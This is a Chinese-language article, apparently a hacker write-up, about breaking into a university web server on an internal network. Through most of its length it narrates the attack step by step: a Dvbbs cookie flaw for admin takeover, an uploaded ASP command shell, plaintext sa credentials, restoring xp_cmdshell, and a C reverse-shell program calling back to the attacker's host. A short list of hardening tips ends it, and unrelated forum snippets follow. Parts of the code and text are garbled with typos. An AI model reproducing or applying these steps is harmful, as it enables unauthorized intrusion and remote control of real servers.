内网建Web服务器的安全问题

  很多公司或企业将其Web服务器放在内网,并在防火墙上做映射,将来自80端口的请求转向一台内网Web服务器的Web端口。

  这样做安全性是提高了不少,但并不代表将Web服务器隐藏在内网就一定安全了,因为Web服务器本身还是存在很多问题的,特别是一些CG,程序,往往这是人们最容易忽视的地方。下面就以一台开放80端口的Web服务器为例,来测试其存在的安全隐患问题,并且对存在问题做测试描述,指出问题的症结所在并给出防范错施。

  这是某大学的娱乐休闲网站,进去看了看,页面做得不错,先看一看是什么Web服务器吧。

  D:\ne -vv www.target.com 80

  DNS fwd/rev mismatch:www.target.com!=traget

  www.target.com[192.168.0.1]80(http)open

  GEP/HTTP/1.0

  HOST:www.target.com

  HTTP/1.1 200 OK

  Server:Microsoft-IIS/5.0

  Content-location:http://www.target.com/index.asp

  Date:Thu,22 May 2003 12:13:32 GMT

  Content-Type:text/html

  ......

  是IIS5.0,看看能不能直接溢出。用最新的IIS的WebDav溢出试试。个人感觉isno写的那个溢出比较好用,但因为它是在内网,这个工具导致溢出后会直接在7788端口绑定一个cmd,这对我们的这次入侵来说肯定是不行的。所以,我将它修改了一下,使它可以反向连接,但最终还是不行,看来对方是打了补丁的。

  又逛了一下其他版面,看到有个BBS,是动网的论坛而且版本还比较低(5.00320)。不错,这往往是我们的突破口(第一大失败)。很早以前我和我的好友pskey曾发现一个它的cookie变量未过滤漏洞,他还写了一个Exploit(程序放在光盘中)。通过这个漏洞,我可以随意更改任意用户(包括总版主)的用户密码。我用这个ID进去,进到后台管理,修改设置,允许上传exe、asp等文件。再看看有没有禁用FSO,结果没有禁用(第二大失败)。我通过它上传了一个aspcmdshell。这个aspcmdshell可以使我以guests组权限的用户在Web服务器上执行命令,当然,前题是它没有丢掉guests组对%systemroot%\winnt\cdm.exe的访问执行权限。试试"dir c:\"看看,果然没有禁止运行(第三大失败)。其实,如果它禁止了cmd.exe的运行权限也不要紧的,我们可以自已上传一个上去,再改一下这个aspcmdshell就可以了。有了这个aspcmdshell,我们可以做很多事情。当然这还不够,我的目的是拿到最高权限。此时我就准备提升权限了。先看一看管理员给了guests组哪些权限,看一下ipconfig的返回结果:

  Windows 2000 IP Configuration

  Ethernet adapter本地连接:

  Connection-specific DNS Suffix.:

  IP Address.................: 192.168.1.222

  Subnet Mask................: 255.255.255.0

  Default Gateway............: 192.168.1.1

  哟,在内网,不错,再试试C:\可不可写,答案是不可写(不错)。再试试其他目录,整个C.盘都不可写,只给了Web目录的可写权限。再看一看跑了哪些服务,用netstat -an命令来查看一下。

  TCP 127.0.0.1:1433 0.0.0.0:0 LISTENING哟!还跑了MSSQL的,不错。这时候第一个想做的就是看看哪些程序使用了MSSQL数据库。再到主页上逛逛,看到有一个新闻系统,很有可能就是它。用刚才那个aspcmdshell去查看一下这个news/目录里面的ASP程序,看到很多文件第一行都有,基本上这个就是数据库的链接程序了。查看一下:

  strconn="Driver={SQL erver};Ddescription=sqldemo;

  SERVER=127.0.0.1;UID=sa;&

  PWD=hello;DATABASE=news

  set conn=server.createobject("adodb.connection")

  conn.open strconn

  果然不出我所料(第四大失败,将MSSQL的用户名和密码以明文形式存放在ASP文件里),拿到了MSSQL数据库的密码,而且还是sa用户的,权限比较大哦。本来想看看能不能查找一下新闻系统ASP程序的漏洞,利用一下sql injection的。看来现在完全没有必要了。自己写一个可以用MSSQL扩展xp一cmdshell来执行系统命令的ASP程序,这里有可能管理员删了这个扩展,或直接删掉了xplog70.dll这个文件。不管它,先试试再说。写sql.asp内容如下:

  自己先开防火墙,记录icmp数据包,然后在IE里执行:

  http://www.target.com/bbs/uploadimages/439587438739.asp?cmd=ping%20192.168.0.1

  这个ASP是通过动网论坛自己的上传程序上传机程序设定把上传文件都上传到up1Oad土mageS/这个目录里面,根据当前时间将文件重命名,所以文件名为439587438739·aSp这样的全数字组成。

  防火墙没反应,晕!看来是删了Xp--CmdSheI1这个扩展,或直接删掉了Xp1Og70·d11这个文件。如果没有直接删掉Xp1Og70·d11,而只是删了这个扩展的话,我来试一下恢复这个扩展。再写个ASP:

  上传上去,再执行http://www.target.com/bbs/uploadimages/23456489432.asp.

  然后再提交请求:

  http://www.target.com/bbs/uploadimages/

  439587438739.asp?cmd=ping%192.168.0.1

  呵呵,我们的防火墙有反应了。来自www.target.com的icmp数据包被记录。看来没有问题了,通过这个ASP我们可以执行很多命令 (第五大失败),都是system权限,只不过没有回显,不是很完美。于是想得到一个交互式的she1l。写个反连的程序吧:

  #include

  #include

  #pragma comment(lib."ws2_32")

  void main(int argc,char*argv[])

  {

  WSADATA wsaData;

  SOCKET hSocket;

  STARTUPINFO si;

  PROCESS_INFORMATION pi;

  struct sockaddr_in adik_sin;

  memset(&adik_sin,0,sizeof(adik_sin));

  memset(&si,0,sizeof(si));

  WSAStartuup(MAKEWORD(2,0),&WSAdATA);

  hSocket=WSASocket(AF_INET,

  SOCK_STREMA,NULL,NULL,NULL,NULL);

  adik_sin.sin_family=AF_INET;

  adik_sin.sin_port=htons(53);//连接到我的主机53端口

  adik_sin.sin_addr.s_addr=inet_addr("192.

  168.0.1:);//我的主机的IP

  connect(hSocket.(struct sockaddr*)%adik_sin,

  sizeof(adik_sin);

  si.cb=sizeof(si)

  si.dwFlags-STARTF_USESTDHANDLES;

  si.hStdlnput=si.hStdOutput=si.hStdError

  =(void*)hSocket;

  CreateProcess(NULL."cmd.exe",NULL,

  NULL,1,NULL,NULL,NULL,&si.π);

  ExitProcess(0);

  }

  编译成a.exe然后上传上去先在本机用nc监听一个端口53,然后在IE里执行:

  http://www.target.com/bbs/uploadimages/439587438739.asp?cmd=D:\inetpub\wwwroot\bbs\uploadimages\3215645664654.exe

  D:\nc-1 -p 53

  Microsoft Windows 2000[Version 5.00.2195]

  版权所有1985-2000Microsoft Corp:

  D:\inetpub\wwwroot\bbs\uploadimages>ipconfig

  windows 2000 IP Configuration

  Ethernet adapter本地连接:

  Connection-specific DNS Suffix.:

  IP Address..............:192.168.1.222

  Subnet Mask.............:255.255.255.0

  Default Gateway.........:192.168.1.1

  D:\inetpub\wwwroot\bbs\uploadimages>

  好了,到此为止,入侵基本上完成了,现在我们已经拿到了一个system权限的交互式shell,我们可以"为所欲为"了。这个时候我们可以装一个后门,使得我们萄次进来不用这么麻烦,我以前写了"一个US-BACKDOOR。使我们可以通过80端口来"得到一个交互式的shell,且不影响,IIS程序本身的。正常运行。这个backdoor可以在我的主页上下载到。  上面的几大失败使得我们每避一步人侵都取得了更多的权限,其实一个优秀的管理员完全可以避免这些。所以,一个小小的ASP程序错误都可以使你的服务器被Cracker破坏。程序员们,该注意一下你们的程序了。针对前面我提到的几大失败,我稍稍总绪一下管理"基本应该做到的地方:

  (1)、不要使用已知漏洞非常多的ASP程序,特别是像动网比较低的版本这类,即使使用了,也要经常去官方论坛看看比较新的漏洞信息,及时打补丁或升级程序。

  (2)、如果没有必要用到FSO,可以禁用。

  (3)、用cscls%systemroot%\winnt\cmd.exe/e/d guests命令,禁止掉GUESTS组用户访问cmd.exe。

  (4)、尽量不要将数据库的密码以明文的形式放在ASP程序里面,可以使用数据源的形式来连接数据库。

  (5)、一般用户应该用不到xp_crndshell这个扩展的,那么最好删掉xplog70.dll;尽量不要用sa这个用户。将sa的密码设复杂一些,可以另建一个用户,把权限调到最低。

  后记

  文中所提到的被攻击的网站主并非一台暴露在外面的裸机,而是通过防火墙映射的放置在内网的服务。   请作者联系本站,及时附注您的姓名。联系邮箱:edu#chinaz.com(把#改为@)。

时间: 2024-10-06 14:10:23

内网建Web服务器的安全问题的相关文章

tomcat-Linux 内网映射 web服务器

问题描述 Linux 内网映射 web服务器 我想建个小网站,想用Linux系统架个tomcat服务器,但是我没有外网地址更没有域名, 用Windows的话可以用花生壳将内网映射出去,但是花生壳没有Linux内网版,想问一下 有咩有相似的软件或者技术可以实现,Linux内网映射到? 解决方案 http://blog.csdn.net/ichsonx/article/details/8518724 linux一样可以安装花生壳 解决方案二: vpn貌似可以,呵呵呵

关于内网建 DHCP服务器相关问题

问题描述 最近做一个实验:环境是这样的,通过一个三层交换将整个内网划分五个左右VLAN,包含将近十个网段.DHCP服务器搭建在一台window2003系统下(假设是VLAN01),如果说,在交换机上所有配置都完成了,能实现内部通信了,那么还需要做DHCP中继么,其他VLAN(不同网段)PC客户端是否能从此DHCP服务器获得IP?纠结这个问题有两天了,还是需要各位的帮助,谢谢了!! 解决方案 解决方案二:DHCPRelay简介 DHCPRelay(DHCPR)DHCP中继也叫做DHCP中继代理 如

跪求各位大侠!外网如何访问内网的ftp服务器?

问题描述 跪求各位大侠!外网如何访问内网的ftp服务器? 下图是我公司的网络配置图,我现在装一个ftp服务器,让外网用户也能访问ftp 问题一:需要在哪台服务器上装个serv-u ftp工具, 问题二:怎么在juniper中设置, 目前的网络结构 1.交换机划分vlan2 (PC) 和 本有 vlan 1 (server) 使用 1-4,24接口为vlan 1 5 - 23 为vlan 2 2.配置juniper 防火墙 1> e1接口(DMZ隔离区)连接交换机接口4 e2接口(trust)连接

内网架设ftp服务器解析

首先要提到的是这里的内网是指一般我们网吧内部环境的内网,对局域网内网我没什么好说的,愿花钱的去DNS0755好了.一个基本条件:一个公网IP,对网关有操作权限. FTP服务器端192.168.0.100,我选用Win2K+Serv-U 4.1.0.0,很普通常用的一个组合网关是最简单的双网卡PC,一接外网一接内网,这里假设外网IP为218.4.218.4,内网IP为192.168.0.1. 提一些概念性的东东: 一次完整的FTP会话,包含有两个连接,一个称之为命令通道,一个称之为数据通道.命令通

路由器通过NVI解决内网访问内部服务器的外部映射地址测试

一.测试拓扑: 参照:https://supportforums.cisco.com/message/3648386#3648386 据说是12.3(14)T 的IOS才开始有的功能: http://www.cisco.com/en/US/docs/ios/12_3t/12_3t14/feature/guide/gtnatvi.html 二.基本配置: A.R1 int e0/0 ip add 192.168.10.1 255.255.255.0 no sh line vty 0 5 passw

基于区域的防火墙方案如何过滤内网用户web访问

背景描述 对于企业管理者来说,上班时间都是希望员工认认真真的工作,尽量少做与工作无关的事情,但是实际上,对于员工们来说,一天到晚在办公室埋头工作,也是需要休息放松一下的. 于是乎矛盾产生了:管理者希望员工少上公网,不希望员工利用工作时间聊天.看电影-- 员工希望能聊天.看电影-- 对于企业网络工程师来说,把要求中和一下,符合领导的要求,又不至于把同仁们逼上梁山,于是乎就是下文. 实施目标 1.过滤QQ\MSN\开心网\迅雷\土豆\优酷\爱奇艺\淘宝\58同城\6房间\-- 2.放行其余站点 3.

NAT/ICS下让外网用户访问内网WEB服务器

解决在使用NAT/ICS的情况下让外网用户访问内网WEB服务器的方法. 关于ICS里面的一个附加功能,操作相当简单,如果已经进行了NAT(网络地址转换)或ICS(Internet 连接共享),可以再完善. 一.使用NAT的情况 1.打开路由与远程访问MMC; 2.假设你的服务器名字是Myserver,启用了NAT的连接是"本地连接1".依次展开"Myserver"->"IP路由选择"->"网络地址转换(NAT)".

教你把内网服务器发布到公共网络

很多用户在自己的机器中架设起网站.FTP服务,甚至是小型http://www.aliyun.com/zixun/aggregation/12489.html">邮件服务器,但这些网络服务由于防火墙或处于内网的缘故,只能供自己或 同一局域网内的用户使用. 如果你想让这些网络服务被更多的人分享, 其实可以利用防火墙将这些服务发布到互联网中,如何发布呢? 下面,e博士就针对Windows 19803.html">XP系统的Windows防火墙的"服务发布"功能

[求助]内网没有权限向服务器上传资料,如何解决啊?

问题描述 =======================在公司内网,可以访问服务器,但是无法向服务器上传资料,怎么解决啊?假设内网IP192.168.1.100,服务器IP211.1.2.3192.168.1.100上无法打开baidu等网站211.1.2.3上可以打开baidu网站需要上网的话,从内网登陆到服务器找资料,但是资料只能下载到内网,无法从内网向服务器上传资料.=======================自己写两个程序,分别放在192.168.1.100和211.1.2.3上,走8